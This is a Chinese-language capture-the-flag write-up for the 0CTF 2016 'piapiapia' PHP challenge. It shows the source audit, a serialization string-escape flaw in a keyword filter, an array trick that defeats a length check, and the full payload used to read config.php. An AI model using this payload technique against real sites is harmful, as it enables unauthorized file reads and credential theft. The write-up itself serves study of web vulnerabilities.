[0CTF 2016]piapiapia
这题很夸张,其实可以算真实的攻击了一个网站,当然,一般没有源码。

可爱的猫猫捏。
扫描出www.zip可以下载。(虽然buu的靶机很难扫)
然后就可以看到了一个网站的php代码。
用seay审计代码。

这里sql和文件上传都没有用,文件上传会经过md5,php后缀会失效所以没有用。
其实漏洞点在第三个
$photo = base64_encode(file_get_contents($profile['photo']));
这句代码中。
我们来开始疯狂的代码审计
\(profile这个变量是从这里来的
`\)profile=\(user->show_profile(\)username);`
$user这个类是可以在class.php中找到的,这个类继承了mysql类。
使用了show_profile这个函数
点击查看代码
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
点击查看代码
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
'select', 'insert', 'update', 'delete', 'where'
这几个字符就会被替换为hacker,这里就可以发现有典型的字符串逃逸的可能性
where被替换为hacker,是不是多了一个字符。这里我们先记住,因为我们还没有分析反序列化
我们返回去分析
$profile=$user->show_profile($username);
这里我们知道了\(user->show_profile,但是\)username哪里来的我们好像还没分析
$username = $_SESSION['username'];
这里可以看出来是通过session会话全局变量来的
$photo = base64_encode(file_get_contents($profile['photo']));
这里我们是利用过滤里面的photo变量来传参的
点击查看代码
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
$profile['photo'] = 'upload/' . md5($file['name']);
这个md5加密后,字符串就变了呀,寄
这时候有没有忽然想起来前面我们留了一手字符串逃逸漏洞。然后我们如果利用photo的前面的一个参数nickname,去逃逸覆盖掉后面的photo变量,不就可以了吗
我们要包含后面的config.php。就应该构造s:5:'photo';s:10:'config.php';
可是这样我们的nickname会很长,这样是过不了的
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname');
这里看到有一个strlen判断。怎么办
点击查看代码
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
nickname[]=where";}s:5:"photo";s:10:"config.php";}
为什么前面多了一个},拿一个大师傅的图片大家一看就懂了

这里有多少个字符呢,34个,我们就需要用34个where来替换,因为hacker就多了一个字符。
所以最后的payload
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
我们直接在register.php页面进行注册,随便搞
在update.php抓包


点一下

因为我们传给的是photo,所以flag在photo的参数值里
解一下base64就行了,因为前面的代码中有base64加密
结束


浙公网安备 33010602011771号